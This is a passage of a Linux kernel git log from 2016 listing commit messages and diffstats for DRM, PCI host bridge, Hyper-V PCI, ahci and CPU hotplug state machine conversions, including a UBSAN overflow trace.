http://patchwork.freedesktop.org/patch/msgid/1472593821-38429-2-git-send-email-hshi@chromium.org drivers/gpu/drm/udl/udl_drv.c | 16 ++++++++++++++++ drivers/gpu/drm/udl/udl_drv.h | 2 ++ drivers/gpu/drm/udl/udl_modeset.c | 14 ++++++++++++++ 3 files changed, 32 insertions(+) commit ae0119f5f73b1e9cf7177fbbeea68d74c5751def Author: Xie XiuQi Date: Tue Sep 6 16:55:38 2016 +0800 drm: fix signed integer overflow Use 1UL for unsigned long, or we'll meet a overflow issue with UBSAN. [ 15.589489] UBSAN: Undefined behaviour in drivers/gpu/drm/drm_hashtab.c:145:35 [ 15.589500] signed integer overflow: [ 15.589999] -2147483648 - 1 cannot be represented in type 'int' [ 15.590434] CPU: 2 PID: 294 Comm: plymouthd Not tainted 3.10.0-327.28.3.el7.x86_64 #1 [ 15.590653] Hardware name: VMware, Inc. VMware Virtual Platform/440BX Desktop Reference Platform, BIOS 6.00 01/07/2011 [ 15.591001] 1ffff1000670fe83 000000000d6b385e ffff88003387f3e0 ffffffff81ee3140 [ 15.591028] ffff88003387f3f8 ffffffff81ee31fd ffffffffa032f460 ffff88003387f560 [ 15.591044] ffffffff81ee46e2 0000002d00000009 0000000000000001 0000000041b58ab3 [ 15.591059] Call Trace: [ 15.591078] [] dump_stack+0x1e/0x20 [ 15.591093] [] ubsan_epilogue+0x12/0x55 [ 15.591109] [] handle_overflow+0x1ba/0x215 [ 15.591126] [] ? __ubsan_handle_negate_overflow+0x162/0x162 [ 15.591146] [] ? print_context_stack+0x9c/0x160 [ 15.591163] [] ? dump_trace+0x252/0x750 [ 15.591181] [] ? __list_add+0x93/0x160 [ 15.591197] [] __ubsan_handle_sub_overflow+0x2a/0x31 [ 15.591261] [] drm_ht_just_insert_please+0x1e0/0x200 [drm] [ 15.591290] [] ttm_base_object_init+0x10a/0x270 [ttm] [ 15.591316] [] ttm_vt_lock+0x28c/0x3a0 [ttm] [ 15.591343] [] ? ttm_write_lock+0x180/0x180 [ttm] [ 15.591362] [] ? kasan_unpoison_shadow+0x36/0x50 [ 15.591379] [] ? kasan_unpoison_shadow+0x36/0x50 [ 15.591396] [] ? kasan_unpoison_shadow+0x36/0x50 [ 15.591413] [] ? kasan_unpoison_shadow+0x36/0x50 [ 15.591442] [] vmw_master_set+0x121/0x470 [vmwgfx] [ 15.591459] [] ? __init_waitqueue_head+0x45/0x70 [ 15.591487] [] ? vmw_master_drop+0x310/0x310 [vmwgfx] [ 15.591535] [] drm_open+0x92a/0xc00 [drm] [ 15.591563] [] ? vmw_driver_open+0x170/0x170 [vmwgfx] [ 15.591610] [] ? drm_poll+0xe0/0xe0 [drm] [ 15.591661] [] drm_stub_open+0x224/0x330 [drm] [ 15.591711] [] ? drm_minor_acquire+0x240/0x240 [drm] [ 15.591727] [] chrdev_open+0x1fa/0x3f0 [ 15.591742] [] ? cdev_put+0x50/0x50 [ 15.591761] [] ? __fsnotify_parent+0x53/0x210 [ 15.591778] [] do_dentry_open+0x351/0x670 [ 15.591792] [] ? cdev_put+0x50/0x50 [ 15.591807] [] vfs_open+0xa2/0x170 [ 15.591824] [] do_last+0xccf/0x2c80 [ 15.591842] [] ? filename_create+0x320/0x320 [ 15.591858] [] ? path_init+0x1b9/0xa90 [ 15.591875] [] ? mountpoint_last+0x9a0/0x9a0 [ 15.591894] [] ? selinux_file_alloc_security+0xcf/0x130 [ 15.591911] [] path_openat+0x1e7/0xcc0 [ 15.591927] [] ? dump_trace+0x252/0x750 [ 15.591943] [] ? do_last+0x2c80/0x2c80 [ 15.591959] [] ? __list_add+0x93/0x160 [ 15.591974] [] ? save_stack_trace+0x7d/0xb0 [ 15.591989] [] do_filp_open+0xa4/0x160 [ 15.592004] [] ? user_path_mountpoint_at+0x50/0x50 [ 15.592022] [] ? __alloc_fd+0x175/0x300 [ 15.592039] [] do_sys_open+0x1b7/0x3f0 [ 15.592054] [] ? filp_open+0x80/0x80 [ 15.592070] [] SyS_open+0x32/0x40 [ 15.592088] [] system_call_fastpath+0x16/0x1b Signed-off-by: Xie XiuQi [seanpaul tweaked subject to remove "gpu/"] Signed-off-by: Sean Paul Link: http://patchwork.freedesktop.org/patch/msgid/1473152138-25335-1-git-send-email-xiexiuqi@huawei.com drivers/gpu/drm/drm_hashtab.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 4e9951d960932d648197d691aa28a7bc0ced1b56 Author: Maarten Lankhorst Date: Mon Sep 5 10:06:13 2016 +0200 drm/atomic: Reject properties not part of the object. The legacy setprop ioctl doesn't attempt to set properties that are not enumerated on the object. The atomic ioctl does, fix this by validating first. Signed-off-by: Maarten Lankhorst Signed-off-by: Sean Paul Link: http://patchwork.freedesktop.org/patch/msgid/1473062773-5045-1-git-send-email-maarten.lankhorst@linux.intel.com drivers/gpu/drm/drm_atomic.c | 11 ++++++++++- 1 file changed, 10 insertions(+), 1 deletion(-) commit 13f392ebc37e31568fae72a73ee378ae22a9740f Author: Lorenzo Pieralisi Date: Mon Aug 15 17:50:46 2016 +0100 PCI: tegra: Fix pci_remap_iospace() failure path On ARM/ARM64 architectures, PCI IO ports are emulated through memory mapped IO, by reserving a chunk of virtual address space starting at PCI_IOBASE and by mapping the PCI host bridges memory address space driving PCI IO cycles to it. PCI host bridge drivers that enable downstream PCI IO cycles map the host bridge memory address responding to PCI IO cycles to the fixed virtual address space through the pci_remap_iospace() API. This means that if the pci_remap_iospace() function fails, the corresponding host bridge PCI IO resource must be considered invalid, in that there is no way for the kernel to actually drive PCI IO transactions if the memory addresses responding to PCI IO cycles cannot be mapped into the CPU virtual address space. The PCI tegra host bridge driver adds the PCI IO resource retrieved from firmware to the host bridge resource windows even if the pci_remap_iospace() call fails; this is an actual bug in that the PCI host bridge would consider the PCI IO resource valid (and possibly assign it to downstream devices) even if the kernel was not able to map the PCI host bridge memory address driving IO cycle to the CPU virtual address space (ie pci_remap_iospace() failures). Add the PCI host bridge driver pci_remap_iospace() failure path and do not add the corresponding PCI host bridge PCI IO resources retrieved through firmware when the pci_remap_iospace() function call fails, fixing the issue. Fixes: e6e9f471f5fe ("PCI: tegra: Use generic pci_remap_iospace() rather than ARM32-specific one") Signed-off-by: Lorenzo Pieralisi Signed-off-by: Bjorn Helgaas CC: Thierry Reding drivers/pci/host/pci-tegra.c | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) commit 43281ede019ede33fd0c40a14a86b304a51e4555 Author: Lorenzo Pieralisi Date: Mon Aug 15 17:50:45 2016 +0100 PCI: generic: Fix pci_remap_iospace() failure path On ARM/ARM64 architectures, PCI IO ports are emulated through memory mapped IO, by reserving a chunk of virtual address space starting at PCI_IOBASE and by mapping the PCI host bridges memory address space driving PCI IO cycles to it. PCI host bridge drivers that enable downstream PCI IO cycles map the host bridge memory address responding to PCI IO cycles to the fixed virtual address space through the pci_remap_iospace() API. This means that if the pci_remap_iospace() function fails, the corresponding host bridge PCI IO resource must be considered invalid, in that there is no way for the kernel to actually drive PCI IO transactions if the memory addresses responding to PCI IO cycles cannot be mapped into the CPU virtual address space. The PCI common host bridge driver does not remove the PCI IO resource from the host bridge resource windows if the pci_remap_iospace() call fails; this is an actual bug in that the PCI host bridge would consider the PCI IO resource valid (and possibly assign it to downstream devices) even if the kernel was not able to map the PCI host bridge memory address driving IO cycle to the CPU virtual address space (ie pci_remap_iospace() failures). Fix the PCI host bridge driver pci_remap_iospace() failure path, by destroying the PCI host bridge PCI IO resources retrieved through firmware when the pci_remap_iospace() function call fails, therefore preventing the kernel from adding the respective PCI IO resource to the list of PCI host bridge valid resources, fixing the issue. Fixes: 4e64dbe226e7 ("PCI: generic: Expose pci_host_common_probe() for use by other drivers") Signed-off-by: Lorenzo Pieralisi Signed-off-by: Bjorn Helgaas Acked-by: Will Deacon drivers/pci/host/pci-host-common.c | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) commit 5e8c873270cc618e3326eb6a47437b517ef85c52 Author: Lorenzo Pieralisi Date: Mon Aug 15 17:50:44 2016 +0100 PCI: rcar: Fix pci_remap_iospace() failure path On ARM/ARM64 architectures, PCI IO ports are emulated through memory mapped IO, by reserving a chunk of virtual address space starting at PCI_IOBASE and by mapping the PCI host bridges memory address space driving PCI IO cycles to it. PCI host bridge drivers that enable downstream PCI IO cycles map the host bridge memory address responding to PCI IO cycles to the fixed virtual address space through the pci_remap_iospace() API. This means that if the pci_remap_iospace() function fails, the corresponding host bridge PCI IO resource must be considered invalid, in that there is no way for the kernel to actually drive PCI IO transactions if the memory addresses responding to PCI IO cycles cannot be mapped into the CPU virtual address space. The PCI rcar host bridge driver does not remove the PCI IO resource from the host bridge resource windows if the pci_remap_iospace() call fails; this is an actual bug in that the PCI host bridge would consider the PCI IO resource valid (and possibly assign it to downstream devices) even if the kernel was not able to map the PCI host bridge memory address driving IO cycle to the CPU virtual address space (ie pci_remap_iospace() failures). Fix the PCI host bridge driver pci_remap_iospace() failure path, by destroying the PCI host bridge PCI IO resources retrieved through firmware when the pci_remap_iospace() function call fails, therefore preventing the kernel from adding the respective PCI IO resource to the list of PCI host bridge valid resources, fixing the issue. Fixes: 5d2917d469fa ("PCI: rcar: Convert to DT resource parsing API") Signed-off-by: Lorenzo Pieralisi Signed-off-by: Bjorn Helgaas CC: Phil Edworthy CC: Simon Horman drivers/pci/host/pcie-rcar.c | 9 ++++++--- 1 file changed, 6 insertions(+), 3 deletions(-) commit 53f4f7ee28076a36e427274d7d5c33b23dfc6221 Author: Lorenzo Pieralisi Date: Mon Aug 15 17:50:43 2016 +0100 PCI: versatile: Fix pci_remap_iospace() failure path On ARM/ARM64 architectures, PCI IO ports are emulated through memory mapped IO, by reserving a chunk of virtual address space starting at PCI_IOBASE and by mapping the PCI host bridges memory address space driving PCI IO cycles to it. PCI host bridge drivers that enable downstream PCI IO cycles map the host bridge memory address responding to PCI IO cycles to the fixed virtual address space through the pci_remap_iospace() API. This means that if the pci_remap_iospace() function fails, the corresponding host bridge PCI IO resource must be considered invalid, in that there is no way for the kernel to actually drive PCI IO transactions if the memory addresses responding to PCI IO cycles cannot be mapped into the CPU virtual address space. The PCI versatile host bridge driver does not remove the PCI IO resource from the host bridge resource windows if the pci_remap_iospace() call fails; this is an actual bug in that the PCI host bridge would consider the PCI IO resource valid (and possibly assign it to downstream devices) even if the kernel was not able to map the PCI host bridge memory address driving IO cycle to the CPU virtual address space (ie pci_remap_iospace() failures). Fix the PCI host bridge driver pci_remap_iospace() failure path, by destroying the PCI host bridge PCI IO resources retrieved through firmware when the pci_remap_iospace() function call fails, therefore preventing the kernel from adding the respective PCI IO resource to the list of PCI host bridge valid resources, fixing the issue. Fixes: b7e78170efd4 ("PCI: versatile: Add DT-based ARM Versatile PB PCIe host driver") Signed-off-by: Lorenzo Pieralisi Signed-off-by: Bjorn Helgaas CC: Rob Herring drivers/pci/host/pci-versatile.c | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) commit bcd7b7186fcba434e7486648de85cf93a56c845c Author: Lorenzo Pieralisi Date: Mon Aug 15 17:50:42 2016 +0100 PCI: designware: Fix pci_remap_iospace() failure path On ARM/ARM64 architectures, PCI IO ports are emulated through memory mapped IO, by reserving a chunk of virtual address space starting at PCI_IOBASE and by mapping the PCI host bridges memory address space driving PCI IO cycles to it. PCI host bridge drivers that enable downstream PCI IO cycles map the host bridge memory address responding to PCI IO cycles to the fixed virtual address space through the pci_remap_iospace() API. This means that if the pci_remap_iospace() function fails, the corresponding host bridge PCI IO resource must be considered invalid, in that there is no way for the kernel to actually drive PCI IO transactions if the memory addresses responding to PCI IO cycles cannot be mapped into the CPU virtual address space. The PCI designware host bridge driver does not remove the PCI IO resource from the host bridge resource windows if the pci_remap_iospace() call fails; this is an actual bug in that the PCI host bridge would consider the PCI IO resource valid (and possibly assign it to downstream devices) even if the kernel was not able to map the PCI host bridge memory address driving IO cycle to the CPU virtual address space (ie pci_remap_iospace() failures). Fix the PCI host bridge driver pci_remap_iospace() failure path, by destroying the PCI host bridge PCI IO resources retrieved through firmware when the pci_remap_iospace() function call fails, therefore preventing the kernel from adding the respective PCI IO resource to the list of PCI host bridge valid resources, fixing the issue. Fixes: cbce7900598c ("PCI: designware: Make driver arch-agnostic") Signed-off-by: Lorenzo Pieralisi Signed-off-by: Bjorn Helgaas CC: Jingoo Han CC: Pratyush Anand drivers/pci/host/pcie-designware.c | 21 ++++++++++++--------- 1 file changed, 12 insertions(+), 9 deletions(-) commit db047f8a931275e50563dd79c3d62d977074959a Author: Lorenzo Pieralisi Date: Mon Aug 15 17:50:41 2016 +0100 PCI: aardvark: Fix pci_remap_iospace() failure path On ARM/ARM64 architectures, PCI IO ports are emulated through memory mapped IO, by reserving a chunk of virtual address space starting at PCI_IOBASE and by mapping the PCI host bridge's memory address space driving PCI IO cycles to it. PCI host bridge drivers that enable downstream PCI IO cycles map the host bridge memory address responding to PCI IO cycles to the fixed virtual address space through the pci_remap_iospace() API. This means that if the pci_remap_iospace() function fails, the corresponding host bridge PCI IO resource must be considered invalid, in that there is no way for the kernel to actually drive PCI IO transactions if the memory addresses responding to PCI IO cycles cannot be mapped into the CPU virtual address space. The PCI aardvark host bridge driver does not remove the PCI IO resource from the host bridge resource windows if the pci_remap_iospace() call fails; this is an actual bug in that the PCI host bridge would consider the PCI IO resource valid (and possibly assign it to downstream devices) even if the kernel was not able to map the PCI host bridge memory address driving IO cycle to the CPU virtual address space (ie pci_remap_iospace() failures). Fix the PCI host bridge driver pci_remap_iospace() failure path, by destroying the PCI host bridge PCI IO resources retrieved through firmware when the pci_remap_iospace() function call fails, therefore preventing the kernel from adding the respective PCI IO resource to the list of PCI host bridge valid resources, fixing the issue. Fixes: 8c39d710363c ("PCI: aardvark: Add Aardvark PCI host controller driver") Signed-off-by: Lorenzo Pieralisi Signed-off-by: Bjorn Helgaas CC: Thomas Petazzoni drivers/pci/host/pci-aardvark.c | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) commit 282b87963556a971f9acbe3d430991b80480541a Author: Marc Zyngier Date: Tue Sep 6 15:34:44 2016 +0100 drivers/perf: arm_pmu: Always consider IRQ0 as an error As declared by the chief penguin, and enforced by the NO_IRQ brigade, IRQ0 doesn't exist, and is considered as an error (no irq). Unfortunately, the arm_pmu driver still considers it as valid in a large number of cases. Let's fix this. Signed-off-by: Marc Zyngier Signed-off-by: Will Deacon drivers/perf/arm_pmu.c | 11 +++++------ 1 file changed, 5 insertions(+), 6 deletions(-) commit a5b45b7b952822aa5fbe842d2ee497c7c9dd7f55 Author: Dexuan Cui Date: Tue Aug 23 04:49:22 2016 +0000 PCI: hv: Handle hv_pci_generic_compl() error case 'completion_status' is used in some places, e.g., hv_pci_protocol_negotiation(), so we should make sure it's initialized in error case too, though the error is unlikely here. [bhelgaas: fix changelog typo and nearby whitespace] Signed-off-by: Dexuan Cui Signed-off-by: Bjorn Helgaas Acked-by: KY Srinivasan CC: Jake Oshins CC: Haiyang Zhang CC: Vitaly Kuznetsov drivers/pci/host/pci-hyperv.c | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) commit 665e2245eb46a217926d45031b83f1212a1bb344 Author: Dexuan Cui Date: Tue Aug 23 04:48:11 2016 +0000 PCI: hv: Handle vmbus_sendpacket() failure in hv_compose_msi_msg() Handle vmbus_sendpacket() failure in hv_compose_msi_msg(). I happened to find this when reading the code. I didn't get a real issue however. Signed-off-by: Dexuan Cui Signed-off-by: Bjorn Helgaas Acked-by: KY Srinivasan CC: Jake Oshins CC: Haiyang Zhang CC: Vitaly Kuznetsov drivers/pci/host/pci-hyperv.c | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) commit 617ceb62eaa1a180e8af1be9903d960c3a0b2ebc Author: Dexuan Cui Date: Tue Aug 23 04:47:23 2016 +0000 PCI: hv: Remove the unused 'wrk' in struct hv_pcibus_device Remove the unused 'wrk' member in struct hv_pcibus_device. Signed-off-by: Dexuan Cui Signed-off-by: Bjorn Helgaas Acked-by: KY Srinivasan CC: Jake Oshins CC: Haiyang Zhang CC: Vitaly Kuznetsov drivers/pci/host/pci-hyperv.c | 1 - 1 file changed, 1 deletion(-) commit 7d0f8eec976ae5a364af84fd8e92f6da9ec05a41 Author: Dexuan Cui Date: Tue Aug 23 04:46:39 2016 +0000 PCI: hv: Use pci_function_description[0] in struct definitions The 2 structs can use a zero-length array here, because dynamic memory of the correct size is allocated in hv_pci_devices_present() and we don't need this extra element. No functional change. Signed-off-by: Dexuan Cui Signed-off-by: Bjorn Helgaas Acked-by: KY Srinivasan CC: Jake Oshins CC: Haiyang Zhang CC: Vitaly Kuznetsov drivers/pci/host/pci-hyperv.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 240c5185c52d00725ae7da7d1ee82ad8b8306d52 Author: Christophe JAILLET Date: Sat Sep 3 07:35:29 2016 +0200 jfs: Simplify code Calling 'list_splice' followed by 'INIT_LIST_HEAD' is equivalent to 'list_splice_init'. This has been spotted with the following coccinelle script: ///// @@ expression y,z; @@ - list_splice(y,z); - INIT_LIST_HEAD(y); + list_splice_init(y,z); Signed-off-by: Christophe JAILLET Signed-off-by: Dave Kleikamp fs/jfs/jfs_txnmgr.c | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) commit 0c6045d8c0eff0f7784f310407ccad44f622aa40 Author: Dexuan Cui Date: Tue Aug 23 04:45:51 2016 +0000 PCI: hv: Use zero-length array in struct pci_packet Use zero-length array in struct pci_packet and rename struct pci_message's field "message_type" to "type". This makes the code more readable. No functionality change. Signed-off-by: Dexuan Cui Signed-off-by: Bjorn Helgaas Acked-by: KY Srinivasan CC: Jake Oshins CC: Haiyang Zhang CC: Vitaly Kuznetsov drivers/pci/host/pci-hyperv.c | 42 ++++++++++++++++++++---------------------- 1 file changed, 20 insertions(+), 22 deletions(-) commit b18c1bb48eb5911bf99fbc5bf6509d4ae06feb9d Author: Chris Wilson Date: Tue Sep 6 15:45:38 2016 +0100 drm/i915: Remove 64b mmio write vfuncs We don't have safe 64-bit mmio writes as they are really split into 2x32-bit writes. This tearing is dangerous as the hardware *will* operate on the intermediate value, requiring great care when assigning. (See, for example, i965_write_fence_reg.) As such we don't currently use them and strongly advise not to us them. Go one step further and remove the 64-bit write vfuncs. v2: Add some more details to the comment about why WRITE64 is absent, and why you need to think twice before using READ64. Signed-off-by: Chris Wilson Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/20160906144538.4204-1-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_drv.h | 13 +++++++++---- drivers/gpu/drm/i915/intel_uncore.c | 9 --------- 2 files changed, 9 insertions(+), 13 deletions(-) commit 0b9e2988ab2261fd6d4a0039edf81ed1e3662be8 Author: Christoph Hellwig Date: Mon Sep 5 17:21:45 2016 +0200 ahci: use pci_alloc_irq_vectors Use the new pci_alloc_irq_vectors API to allocate MSI-X and MSI vectors. The big advantage over the old code is that we can use the same API for MSI and MSI-X, and that we don't need to store the MSI-X vector mapping in driver-private data structures. This first conversion keeps the probe order as-is: MSI-X multi vector, MSI multi vector, MSI single vector, MSI-X single vector and last a single least legacy interrupt line. There is one small change of behavior: we now check the "MSI Revert to Single Message" flag for MSI-X in addition to MSI. Because the API to find the Linux IRQ number for a MSI/MSI-X vector is PCI specific, but libahaci is bus-agnostic I had to a get_irq_vector function pointer to struct ahci_host_priv. The alternative would be to move the multi-vector case of ahci_host_activate to ahci.c and just call ata_host_activate directly from the others users of ahci_host_activate. Signed-off-by: Christoph Hellwig Signed-off-by: Tejun Heo drivers/ata/ahci.c | 149 +++++++++++--------------------------------------- drivers/ata/ahci.h | 24 ++------ drivers/ata/libahci.c | 11 +++- 3 files changed, 45 insertions(+), 139 deletions(-) commit 2536524a91fe5c5a9fddd282fd4e79ee0976aefe Merge: 7d36dd0 bc4dee5 Author: Tejun Heo Date: Tue Sep 6 12:35:56 2016 -0400 Merge branch 'master' into for-4.9 commit da3ed6519b19a9def0fcb966c6274946ad18d9a6 Author: Sebastian Andrzej Siewior Date: Thu Aug 18 14:57:31 2016 +0200 powerpc/mmu nohash: Convert to hotplug state machine Install the callbacks via the state machine. Signed-off-by: Sebastian Andrzej Siewior Cc: Peter Zijlstra Cc: Benjamin Herrenschmidt Cc: Paul Mackerras Cc: rt@linutronix.de Cc: Michael Ellerman Cc: linuxppc-dev@lists.ozlabs.org Link: http://lkml.kernel.org/r/20160818125731.27256-17-bigeasy@linutronix.de Signed-off-by: Thomas Gleixner arch/powerpc/mm/mmu_context_nohash.c | 56 ++++++++++++++++-------------------- include/linux/cpuhotplug.h | 1 + 2 files changed, 25 insertions(+), 32 deletions(-) commit 68e694dcef246f0c8f6738b3aa628f8aa7186796 Author: Sebastian Andrzej Siewior Date: Thu Aug 18 14:57:30 2016 +0200 powerpc/powermac: Convert to hotplug state machine Install the callbacks via the state machine. I assume here that the powermac has two CPUs and so only one can go up or down at a time. The variable smp_core99_host_open is here to ensure that we do not try to open or close the i2c host twice if something goes wrong and we invoke the prepare or online callback twice due to rollback. Signed-off-by: Sebastian Andrzej Siewior Cc: Peter Zijlstra Cc: Benjamin Herrenschmidt Cc: Paul Mackerras Cc: rt@linutronix.de Cc: Michael Ellerman Cc: linuxppc-dev@lists.ozlabs.org Link: http://lkml.kernel.org/r/20160818125731.27256-16-bigeasy@linutronix.de Signed-off-by: Thomas Gleixner arch/powerpc/platforms/powermac/smp.c | 50 +++++++++++++++++------------------ include/linux/cpuhotplug.h | 1 + 2 files changed, 26 insertions(+), 25 deletions(-) commit 9a20ea4b4c34764416e935090d6e5ede02d1bada Author: Sebastian Andrzej Siewior Date: Thu Aug 18 14:57:29 2016 +0200 x86/kvm: Convert to hotplug state machine Install the callbacks via the state machine. The online & down callbacks are invoked on the target CPU so we can avoid using smp_call_function_single(). local_irq_disable() is used because smp_call_function_single() used to invoke the function with interrupts disabled. Signed-off-by: Sebastian Andrzej Siewior Reviewed-by: Paolo Bonzini Cc: kvm@vger.kernel.org Cc: Peter Zijlstra Cc: Gleb Natapov Cc: rt@linutronix.de Link: http://lkml.kernel.org/r/20160818125731.27256-15-bigeasy@linutronix.de Signed-off-by: Thomas Gleixner arch/x86/kernel/kvm.c | 43 ++++++++++++++++--------------------------- 1 file changed, 16 insertions(+), 27 deletions(-) commit e8483b578b229774382a95891439b2ebd9c92fc5 Author: Sebastian Andrzej Siewior Date: Thu Aug 18 14:57:28 2016 +0200 MIPS/BUS/CDMM: Convert to hotplug state machine Install the callbacks via the state machine and let the core invoke the callbacks on the already online CPUs. Signed-off-by: Sebastian Andrzej Siewior Cc: James Hogan Cc: Peter Zijlstra Cc: Ralf Baechle Cc: rt@linutronix.de Link: http://lkml.kernel.org/r/20160818125731.27256-14-bigeasy@linutronix.de Signed-off-by: Thomas Gleixner drivers/bus/mips_cdmm.c | 70 +++++++++---------------------------------------- 1 file changed, 12 insertions(+), 58 deletions(-) commit dfc616d8b3df3013c579e023e67f29ada60bdd50 Author: Sebastian Andrzej Siewior Date: Wed Aug 24 11:14:44 2016 +0200 cpuidle/coupled: Convert to hotplug state machine Install the callbacks via the state machine. Signed-off-by: Sebastian Andrzej Siewior Cc: linux-pm@vger.kernel.org Cc: Peter Zijlstra Cc: Daniel Lezcano Cc: "Rafael J. Wysocki" Cc: rt@linutronix.de Link: http://lkml.kernel.org/r/20160824091444.brdr5zpbxjvh6n3f@linutronix.de Signed-off-by: Thomas Gleixner drivers/cpuidle/coupled.c | 75 +++++++++++++++++++--------------------------- include/linux/cpuhotplug.h | 1 + 2 files changed, 32 insertions(+), 44 deletions(-) commit 10fcca9d8704a04c6e86398f930fa28e0fb03ce4 Author: Sebastian Andrzej Siewior Date: Wed Aug 24 11:12:59 2016 +0200 cpuidle/powernv: Convert to hotplug state machine Install the callbacks via the state machine. v1…v2: - Use only CPUHP_CPUIDLE_DEAD (requested by Daniel Lezcano) Signed-off-by: Sebastian Andrzej Siewior Cc: linux-pm@vger.kernel.org Cc: Peter Zijlstra Cc: Daniel Lezcano Cc: "Rafael J. Wysocki" Cc: rt@linutronix.de Link: http://lkml.kernel.org/r/20160824091259.ozyslcopxvbfdqzy@linutronix.de Signed-off-by: Thomas Gleixner drivers/cpuidle/cpuidle-powernv.c | 51 ++++++++++++++++++--------------------- 1 file changed, 24 insertions(+), 27 deletions(-) commit 529351fd3c50215a462e5e604d7ceaaf27a8a0e5 Author: Sebastian Andrzej Siewior Date: Thu Aug 18 14:57:25 2016 +0200 cpuidle/pseries: Convert to hotplug state machine Install the callbacks via the state machine. Signed-off-by: Sebastian Andrzej Siewior Cc: linux-pm@vger.kernel.org Cc: Peter Zijlstra Cc: Daniel Lezcano Cc: "Rafael J. Wysocki" Cc: rt@linutronix.de Link: http://lkml.kernel.org/r/20160818125731.27256-11-bigeasy@linutronix.de Signed-off-by: Thomas Gleixner drivers/cpuidle/cpuidle-pseries.c | 51 ++++++++++++++++++--------------------- include/linux/cpuhotplug.h | 1 + 2 files changed, 25 insertions(+), 27 deletions(-) commit 29c6d1bbd7a2cd88a197ea7cef171f616e198526 Author: Sebastian Andrzej Siewior Date: Thu Aug 18 14:57:24 2016 +0200 md/raid5: Convert to hotplug state machine Install the callbacks via the state machine and let the core invoke the callbacks on the already online CPUs. Signed-off-by: Sebastian Andrzej Siewior Cc: Peter Zijlstra Cc: Neil Brown Cc: linux-raid@vger.kernel.org Cc: rt@linutronix.de Link: http://lkml.kernel.org/r/20160818125731.27256-10-bigeasy@linutronix.de Signed-off-by: Thomas Gleixner drivers/md/raid5.c | 84 ++++++++++++++++------------------------------ drivers/md/raid5.h | 4 +-- include/linux/cpuhotplug.h | 1 + 3 files changed, 31 insertions(+), 58 deletions(-) commit 84a3f4db039e7c4bfe8ae9bebdebdf2a4e09bf86 Author: Sebastian Andrzej Siewior Date: Thu Aug 18 14:57:23 2016 +0200 net/mvneta: Convert to hotplug state machine Install the callbacks via the state machine and let the core invoke the callbacks on the already online CPUs. Signed-off-by: Sebastian Andrzej Siewior Cc: Thomas Petazzoni Cc: Peter Zijlstra Cc: netdev@vger.kernel.org Cc: rt@linutronix.de Link: http://lkml.kernel.org/r/20160818125731.27256-9-bigeasy@linutronix.de Signed-off-by: Thomas Gleixner drivers/net/ethernet/marvell/mvneta.c | 232 +++++++++++++++++++++------------- include/linux/cpuhotplug.h | 1 + 2 files changed, 144 insertions(+), 89 deletions(-) commit c4544dbc7a9bce3da6fa2361cd68cadb34e9221f Author: Sebastian Andrzej Siewior Date: Thu Aug 18 14:57:21 2016 +0200 kernel/softirq: Convert to hotplug state machine Install the callbacks via the state machine. Signed-off-by: Sebastian Andrzej Siewior Cc: Peter Zijlstra Cc: rt@linutronix.de Link: http://lkml.kernel.org/r/20160818125731.27256-7-bigeasy@linutronix.de Signed-off-by: Thomas Gleixner include/linux/cpuhotplug.h | 1 + kernel/softirq.c | 27 ++++++--------------------- 2 files changed, 7 insertions(+), 21 deletions(-) commit 1d7ac6aec947d222042b6d22b3cec109db4fd19e Author: Sebastian Andrzej Siewior Date: Thu Aug 18 14:57:20 2016 +0200 mm/writeback: Convert to hotplug state machine Install the callbacks via the state machine and let the core invoke the callbacks on the already online CPUs. Signed-off-by: Sebastian Andrzej Siewior Cc: Peter Zijlstra Cc: Jens Axboe Cc: linux-mm@kvack.org Cc: rt@linutronix.de Cc: Tejun Heo Link: http://lkml.kernel.org/r/20160818125731.27256-6-bigeasy@linutronix.de Signed-off-by: Thomas Gleixner include/linux/cpuhotplug.h | 1 + mm/page-writeback.c | 26 +++++++------------------- 2 files changed, 8 insertions(+), 19 deletions(-) commit a96a87bf949d249039cdf532bb5f5d06622cc5e2 Author: Sebastian Andrzej Siewior Date: Thu Aug 18 14:57:19 2016 +0200 slub: Convert to hotplug state machine Install the callbacks via the state machine. Signed-off-by: Sebastian Andrzej Siewior Cc: Andrew Morton Cc: Peter Zijlstra Cc: Pekka Enberg Cc: linux-mm@kvack.org Cc: rt@linutronix.de Cc: David Rientjes Cc: Christoph Lameter Cc: Joonsoo Kim Link: http://lkml.kernel.org/r/20160818125731.27256-5-bigeasy@linutronix.de Signed-off-by: Thomas Gleixner include/linux/cpuhotplug.h | 1 + mm/slub.c | 65 +++++++++++++++------------------------------- 2 files changed, 22 insertions(+), 44 deletions(-) commit 6731d4f12315aed5f7eefc52dac30428e382d7d0 Author: Sebastian Andrzej Siewior Date: Tue Aug 23 14:53:19 2016 +0200 slab: Convert to hotplug state machine Install the callbacks via the state machine. Signed-off-by: Richard Weinberger Signed-off-by: Thomas Gleixner Signed-off-by: Sebastian Andrzej Siewior Reviewed-by: Sebastian Andrzej Siewior Cc: Peter Zijlstra Cc: Pekka Enberg Cc: linux-mm@kvack.org Cc: rt@linutronix.de Cc: David Rientjes Cc: Joonsoo Kim Cc: Andrew Morton Cc: Christoph Lameter Link: http://lkml.kernel.org/r/20160823125319.abeapfjapf2kfezp@linutronix.de Signed-off-by: Thomas Gleixner include/linux/cpuhotplug.h | 1 + include/linux/slab.h | 8 ++++ kernel/cpu.c | 6 +++ mm/slab.c | 114 ++++++++++++++++++++------------------------- 4 files changed, 66 insertions(+), 63 deletions(-) commit e6d4989a9ad1ccc343f29578a461612ed80fc6c5 Author: Richard Weinberger Date: Thu Aug 18 14:57:17 2016 +0200 relayfs: Convert to hotplug state machine Install the callbacks via the state machine. They are installed at run time but relay_prepare_cpu() does not need to be invoked by the boot CPU because relay_open() was not yet invoked and there are no pools that need to be created. Signed-off-by: Richard Weinberger Signed-off-by: Thomas Gleixner Signed-off-by: Sebastian Andrzej Siewior Reviewed-by: Sebastian Andrzej Siewior Cc: Peter Zijlstra Cc: rt@linutronix.de Cc: Andrew Morton Link: 